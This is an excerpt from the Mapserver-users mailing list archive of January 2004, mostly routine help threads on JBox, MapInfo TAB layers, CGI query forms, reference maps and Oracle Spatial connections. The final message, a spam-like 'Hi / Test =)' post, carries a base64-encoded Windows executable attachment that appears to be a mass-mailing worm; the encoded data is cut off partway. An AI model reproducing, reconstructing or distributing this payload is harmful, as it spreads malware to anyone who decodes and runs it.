    strRequest =3D replace(strRequest,".0","")
    strURL =3D strURL & strRequest
    Dim objHTTP 'As MSXML2.XMLHTTP
    Set objHTTP =3D Server.CreateObject("MSXML2.ServerXMLHTTP")
    objHTTP.open "GET", strURL, false
    objHTTP.send ""
    Response.BinaryWrite objHTTP.responseBody
    Set objHTTP =3D Nothing
end if

%>
------=_NextPart_000_082D_01C3DDC9.3748AAA0--



From rich at greenwoodmap.com  Sun Jan 18 14:06:43 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Sun, 18 Jan 2004 15:06:43 -0700
Subject: [Mapserver-users] JBox - Getting started - Small problem
In-Reply-To: <000d01c3dd97$aa3de890$c8835fdb@clickntrac>
References: <000d01c3dd97$aa3de890$c8835fdb@clickntrac>
Message-ID: <400B0373.7040204@greenwoodmap.com>

Steve McCrone wrote:

>Hi,
>
>I'm trying to implement the JBox with the Demo.html sample. I've followed
>the instructions contained in -
>http://mapserver.gis.umn.edu/doc40/jbox-howto.html
>
>The gif is generated but does not appear, nor does the rubber-band zoom
>rectangle does not appear.
>
>I beleive it is not finging the JBox.class. It looks dead easy, but!!! -
>here's what I've added-
>
>function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
>document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " + maxy;
>document.mapserv.imgxy.value = minx + " " + miny;
>}
>===============
>
>===============
>height=[mapheight] name="jBox" MAYSCRIPT>
>
>
>==============
>
>==============
>
>Note: the jbox class etc is in the directory wwwroot/Java/JBox, which is the
>main localhost directory. The demo_init.html and demo.html are also in the
>wwwroot directory.
>  
>
You might try codebase="/Java/JBox" (preceding slash added). I can not 
remember if the codebase is relative to the .map file or the 
mapserv.exe, but in either case, setting the path relative to the host 
root would be correct given the path to jBox.class that you noted above.

Also look at the source of the page and make sure http://[host][img] has 
been correctly processed. It should look something like 
http://localhost/tmp/xxxxxxxxxxxx.gif

Rich

-- 
Richard Greenwood
www.greenwoodmap.com




From Roland at cyber-media.co.uk  Sun Jan 18 15:38:03 2004
From: Roland at cyber-media.co.uk (Roland Corbet)
Date: Sun, 18 Jan 2004 23:38:03 -0000
Subject: [Mapserver-users] Jumpstart: Getting MapInfo files working with Mapserver
Message-ID: <0E2E03F75CEFD61195A200B0D0784191187606@dns.cyber-media.co.uk>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3DE1C.1DBCF840
Content-Type: text/plain

We have recently decided to use Mapserver for a web-based mapping project
which we are undertaking.  The source files that we have are in MapInfo tab
format.

I am new to Mapserver and am trying to set up a basic rendering of a map
from a MapInfo tab file.

I have been through the first stage of the Mapserver tutorial and
experimented with the various settings for the files.  I'm now happy that I
can get a .sha file and perform a default render of the data using
Mapserver.

However, I'm having difficulty applying the same principle to a MapInfo tab
file.

After reading the documentation at:
http://mapserver.gis.umn.edu/doc36/ogr-howto.html

I have produced the following .map file to try and serve up a MapInfo file.

MAP
   IMAGETYPE      PNG
   EXTENT         311061.028851 133724.001154 318723.716551 142576.047282
   SIZE           300 300
   SHAPEPATH      "C:\Inetpub\wwwroot\Mapserver\tutorial\dataroland"
   IMAGECOLOR     255 255 255

   # Start of LAYER DEFINITIONS --------------------------------------------

   LAYER
      NAME "Sample"
      TYPE POLYGON
      CONNECTIONTYPE OGR
      CONNECTION
"C:\Inetpub\wwwroot\Mapserver\tutorial\dataroland\Sample.TAB"
      STATUS ON
      CLASS
         COLOR        232 232 255
         OUTLINECOLOR 32 32 255
      END
   END
  # End of LAYER DEFINITIONS -------------------------------

END

I obtained the Extent to use from the ogrinfo program, which resulted in the
following output for the file I am trying to plot:

Had to open data source read-only.
INFO: Open of `C:\Inetpub\wwwroot\Mapserver\tutorial\dataroland\sample.tab'
using driver `MapInfo File' successful.

Layer name: sample
Geometry: Polygon
Feature Count: 1
Extent: (311061.028851, 133724.001154) - (318723.716551, 142576.047282)
Layer SRS WKT:
PROJCS["unnamed",
    GEOGCS["unnamed",
        DATUM["OSGB_1936",
            SPHEROID["Airy 1930",6377563.396,299.3249646],
            TOWGS84[375,-111,431,0,0,0,0]],
        PRIMEM["Greenwich",0],
        UNIT["degree",0.0174532925199433]],
    PROJECTION["Transverse_Mercator"],
    PARAMETER["latitude_of_origin",49],
    PARAMETER["central_meridian",-2],
    PARAMETER["scale_factor",0.9996012717],
    PARAMETER["false_easting",400000],
    PARAMETER["false_northing",-100000],
    UNIT["Meter",1.0]]
.... (the data continues, but has not been included here)

Following a similar procedure to how I've set up the .sha files previously I
can't get a .tab file to render out following the same method.

Mapserver seems to complete the production of the image but only serves a
blank white image (the background to the map object).  However, it seems to
take no notice of the additional layer from the .tab file.

Could anyone provide me with a working example of serving a MapInfo file
through Mapserver, or perhaps identify what I'm doing wrong please?

Alternatively, is there any way to get debugging info from Mapserver without
using the "WEB" and "LOG" parameters in the .map file?

Thank you for your time and help.

Roland

------_=_NextPart_001_01C3DE1C.1DBCF840
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






Jumpstart: Getting MapInfo files working with Mapserver




We have recently decided to use Mapserver for a =
web-based mapping project which we are undertaking.  The source =
files that we have are in MapInfo tab format.



I am new to Mapserver and am trying to set up a basic =
rendering of a map from a MapInfo tab file.




I have been through the first stage of the Mapserver =
tutorial and experimented with the various settings for the =
files.  I'm now happy that I can get a .sha file and perform a =
default render of the data using Mapserver.



However, I'm having difficulty applying the same =
principle to a MapInfo tab file.




After reading the documentation at:

http://mapserver.gis.umn.edu/doc36/ogr-howto.html<=
/FONT>




I have produced the following .map file to try and =
serve up a MapInfo file.




MAP

   IMAGETYPE      =
PNG

   =
EXTENT         311061.028851 =
133724.001154 318723.716551 142576.047282

   =
SIZE           300 =
300

   SHAPEPATH      =
"C:\Inetpub\wwwroot\Mapserver\tutorial\dataroland"

   IMAGECOLOR     255 =
255 255




   # Start of LAYER DEFINITIONS =
--------------------------------------------




   LAYER

      NAME =
"Sample"

      TYPE POLYGON

      CONNECTIONTYPE =
OGR

      CONNECTION =
"C:\Inetpub\wwwroot\Mapserver\tutorial\dataroland\Sample.TAB"<=
/FONT>

      STATUS ON

      CLASS

         =
COLOR        232 232 255

         =
OUTLINECOLOR 32 32 255

      END

   END

  # End of LAYER DEFINITIONS =
-------------------------------




END




I obtained the Extent to use from the ogrinfo =
program, which resulted in the following output for the file I am =
trying to plot:



Had to open data source read-only.

INFO: Open of =
`C:\Inetpub\wwwroot\Mapserver\tutorial\dataroland\sample.tab'

using driver `MapInfo File' successful.




Layer name: sample

Geometry: Polygon

Feature Count: 1

Extent: (311061.028851, 133724.001154) - =
(318723.716551, 142576.047282)

Layer SRS WKT:

PROJCS["unnamed",

    =
GEOGCS["unnamed",

        =
DATUM["OSGB_1936",

          &nb=
sp; SPHEROID["Airy 1930",6377563.396,299.3249646],

          &nb=
sp; TOWGS84[375,-111,431,0,0,0,0]],

        =
PRIMEM["Greenwich",0],

        =
UNIT["degree",0.0174532925199433]],

    =
PROJECTION["Transverse_Mercator"],

    =
PARAMETER["latitude_of_origin",49],

    =
PARAMETER["central_meridian",-2],

    =
PARAMETER["scale_factor",0.9996012717],

    =
PARAMETER["false_easting",400000],

    =
PARAMETER["false_northing",-100000],

    =
UNIT["Meter",1.0]]

.... (the data continues, but has not been included =
here)




Following a similar procedure to how I've set up the =
.sha files previously I can't get a .tab file to render out following =
the same method.



Mapserver seems to complete the production of the =
image but only serves a blank white image (the background to the map =
object).  However, it seems to take no notice of the additional =
layer from the .tab file.



Could anyone provide me with a working example of =
serving a MapInfo file through Mapserver, or perhaps identify what I'm =
doing wrong please?



Alternatively, is there any way to get debugging info =
from Mapserver without using the "WEB" and "LOG" =
parameters in the .map file?



Thank you for your time and help.




Roland





------_=_NextPart_001_01C3DE1C.1DBCF840--


From Richard.Pierce at mail.state.ar.us  Sun Jan 18 17:30:10 2004
From: Richard.Pierce at mail.state.ar.us (Richie Pierce)
Date: Sun, 18 Jan 2004 19:30:10 -0600
Subject: [Mapserver-users] Newbie Itemnquery question
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3DE2B.C7861A04
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

I'm just getting started with Mapserver and have a couple of questions.
I've got a text box that a user enters a parcel number and queries the
parcel layer.  Just like the CGI demo it is returning a zoomed image and
a cached cached.  I am wanting the return to be in the main map so that
the user is still able to use the query and zoom tools.  I would prefer
to continue using CGI and not have to delve into scripting.  I also
wanted to be able to use partial searches and haven't been able to get
that to work.  Any help would be greatly appreciated.  Thanks

=20

<  My Form looks like this >

=20





























=20

=20

< My Layer entry in map file >

LAYER

  NAME parcel_points

  TYPE POINT

  DATA structures_pt

  STATUS OFF

  METADATA

    "DESCRIPTION"   "parcel_points"

    "RESULT_FIELDS" "parcel_id"

  END

  CLASSITEM 'parcel_id'

  CLASS=20

    SYMBOL 'circle'

    COLOR 255 2 78

    SIZE 10

    NAME 'parcel_points'

    TEMPLATE "parcel.html"       # this template looks just like the
Itasca demo template

  END

=20

END

=20

=20

=20

=20

=20

=20

=20

Richie Pierce

GIS Cadastral Specialist

Arkansas Geographic Information Office

124 W. Capitol St.

Little Rock, AR 72201

(w) 501-682-2937

(c) 501-416-CAMP

www.gis.state.ar.us

=20


------_=_NextPart_001_01C3DE2B.C7861A04
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

















I’m just getting started with Mapserver and =
have a
couple of questions.  I’ve got a text box that a user enters =
a
parcel number and queries the parcel layer.  Just like the CGI demo =
it is
returning a zoomed image and a cached cached.  I am wanting the =
return to
be in the main map so that the user is still able to use the query and =
zoom
tools.  I would prefer to continue using CGI and not have to delve =
into
scripting.  I also wanted to be able to use partial searches and =
haven’t
been able to get that to work.  Any help would be greatly
appreciated.  Thanks



 



<  My Form looks like this =
>



 



<form method=3DGET
action=3D"/cgi-bin/mapserv.exe">



<input type=3D"hidden" =
name=3D"map"
value=3D"c:\..\wwwroot\cross_co\cross_co_query.map"><=
/font>



<input type=3D"hidden" =
name=3D"program"
value=3D"/cgi-bin/mapserv.exe">



<input type=3D"hidden" =
name=3D"map_web_imagepath"
value=3D"C:\tmp\ms_tmp\">



<input type=3D"hidden" =
name=3D"map_web_imageurl"
value=3D"/ms_tmp/">



<input type=3D"hidden" =
name=3D"mapext"
value=3D"shapes">



<input type=3D"hidden" =
name=3D"savequery"
value=3D"true">



<input type=3D"hidden" =
name=3D"layer"
value=3D"Parcel Points">



<input type=3D"hidden" =
name=3D"mode"
value=3D"itemnquery">



<input type=3D"hidden" =
name=3D"qlayer"
value=3D"parcel_points">



<input type=3D"hidden" =
name=3D"qitem"
value=3D"parcel_id">



<input type=3D"TEXT" =
size=3D"30"
name=3D"qstring" value=3D"">



<input type=3D"submit"
value=3D"Search">



</form>



 



 



< My Layer entry in map file =
>



LAYER



  NAME parcel_points



  TYPE POINT



  DATA structures_pt



  STATUS OFF



  METADATA



    =
"DESCRIPTION"  
"parcel_points"



    "RESULT_FIELDS" =
"parcel_id"



  END



  CLASSITEM 'parcel_id'



  CLASS 



    SYMBOL 'circle'



    COLOR 255 2 78



    SIZE 10



    NAME =
'parcel_points'



    TEMPLATE =
"parcel.html"      
# this template looks just like the Itasca demo =
template



  END



 



END



 



 



 



 



 



 



 



Richie Pierce



GIS Cadastral Specialist



Arkansas Geographic Information =
Office



124 W. Capitol =
St.



Little Rock, AR 72201



(w) 501-682-2937



(c) 501-416-CAMP



www.gis.state.ar.us


 








=00
------_=_NextPart_001_01C3DE2B.C7861A04--


From rich at greenwoodmap.com  Sun Jan 18 11:15:42 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Sun, 18 Jan 2004 19:15:42 +0000
Subject: [Mapserver-users] Newbie Itemnquery question
In-Reply-To: 
References: 
Message-ID: <400ADB5E.1030802@greenwoodmap.com>

Richie Pierce wrote:

> I?m just getting started with Mapserver and have a couple of 
> questions. I?ve got a text box that a user enters a parcel number and 
> queries the parcel layer. Just like the CGI demo it is returning a 
> zoomed image and a cached cached. I am wanting the return to be in the 
> main map so that the user is still able to use the query and zoom 
> tools. I would prefer to continue using CGI and not have to delve into 
> scripting. I also wanted to be able to use partial searches and 
> haven?t been able to get that to work. Any help would be greatly 
> appreciated. Thanks
>
This can easily be done with CGI. In pretty general terms, you need your 
TEMPLATE "parcel.html" needs to display a map, not the attribute data. 
One way to do it is to call your inital template as the class template 
(you will need to add a couple form variables) but this keeps everything 
in one place.

Rich

> < My Form looks like this >
>
> 

>
>  value="c:\..\wwwroot\cross_co\cross_co_query.map">
>
> 
>
> 
>
> 
>
> 
>
> 
>
> 
>
> 
>
> 
>
> 
>
> 
>
> 
>
> 

>
> < My Layer entry in map file >
>
> LAYER
>
> NAME parcel_points
>
> TYPE POINT
>
> DATA structures_pt
>
> STATUS OFF
>
> METADATA
>
> "DESCRIPTION" "parcel_points"
>
> "RESULT_FIELDS" "parcel_id"
>
> END
>
> CLASSITEM 'parcel_id'
>
> CLASS
>
> SYMBOL 'circle'
>
> COLOR 255 2 78
>
> SIZE 10
>
> NAME 'parcel_points'
>
> TEMPLATE "parcel.html" # this template looks just like the Itasca demo 
> template
>
> END
>
> END
>
> Richie Pierce
>
> GIS Cadastral Specialist
>
> Arkansas Geographic Information Office
>
> 124 W. Capitol St.
>
> Little Rock, AR 72201
>
> (w) 501-682-2937
>
> (c) 501-416-CAMP
>
> www.gis.state.ar.us
>


-- 
Richard Greenwood
www.greenwoodmap.com



From phj at norgit.no  Mon Jan 19 00:08:42 2004
From: phj at norgit.no (Johansen Per Henrik)
Date: Mon, 19 Jan 2004 09:08:42 +0100
Subject: [Mapserver-users] Using CGI to adjust REFERENCE image size
Message-ID: <1FFB16912919DC41A0599F0D9533419F0597B7@icngmail01.interconsult.com>

Hi,

> I have been reading the CGI reference and the docs indicate that you can 
> change most paramters of the map file from the command line. 
> My question can you change the SIZE & IMAGE of the reference map from the command line.

I tried to do the same a few weeks ago, but it did not work for me either at first, but trying to change the map_reference_image and map_reference_extent.
It seem there is a "bug" in the MS lexer, so I had to change a few line in the maplexer.l file, and then recompile MS. This is the diff I used: 

diff mapserver-4.0.1/maplexer.l mapserver-4.0.1-perhenrik/maplexer.l
121c121
< extent                                      { return(EXTENT); }
---
> extent                        { return(EXTENT); }
138c138
< image                                       { return(IMAGE); }
---
> image                         { return(IMAGE); }

After applying this, I was able to chang the variables using map_reference_image and map_reference_extent from cgi. In your case the variables would be map_reference_image and map_reference_size.

Per Henrik

-- 
Interconsult NORGIT AS 
Per Henrik Johansen 
Systemutvikler/Systems developer 
Tel: + 47 69 394805   Mob: + 47 950 71822 
icq: 4975767 
Web: http://www.norgit.no 



From Patricia.Witte at isb-mz.de  Mon Jan 19 00:27:26 2004
From: Patricia.Witte at isb-mz.de (Patricia Witte)
Date: Mon, 19 Jan 2004 09:27:26 +0100
Subject: [Mapserver-users] connection in mapfile to Oracle spatial is not
 used
References: 
Message-ID: <400B94EE.6118701C@isb-mz.de>

> Could you show us the mapfile code for your Oracle layer.

# Oracle Spatial
#################
LAYER
NAME "Kataster"
STATUS ON
CONNECTIONTYPE oraclespatial
CONNECTION "gbd/gbd at lbddb9"

DATA "AL001_GEOM FROM AL001_001_0000_00_GF_TB USING SRID 82027"
# FILTER "AL001_FS_GEMARKUNG = 3641"
TYPE POLYGON
   CLASS
      COLOR 255 255 255
      OUTLINECOLOR  0 0 0
   END
END

>
> Do you have the win binary compiled for Oracle?

yes, btw it is mapserver 4.0

> Hi,
> I have successfully run MapServer under IIS 5.0 with some shapefile. With a
> spatial layer i get the error: msDrawMap(): unable to draw layer.
>
> With some onlog-trigger in my database I've shown
> that the connection in the mapfile is not used, there is no logon performed.
> I have tried everything I've found in the archive (oci.dll, path,
> ORACLE_HOME). Connect through sqlplus is possible. Has anyone solved this
> before? Thanks, Patricia
>



From aborruso at spaziogis.it  Mon Jan 19 01:46:36 2004
From: aborruso at spaziogis.it (aborruso at spaziogis.it)
Date: Mon, 19 Jan 2004 09:46:36 +0000
Subject: [Mapserver-users] Hi
Message-ID: 

----------724384264605718
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
jmjhxndxwyricyd
--
Test, yep.

----------724384264605718
Content-Type: application/x-msdownload; name="gbdsgorecrx.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ginxiq.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
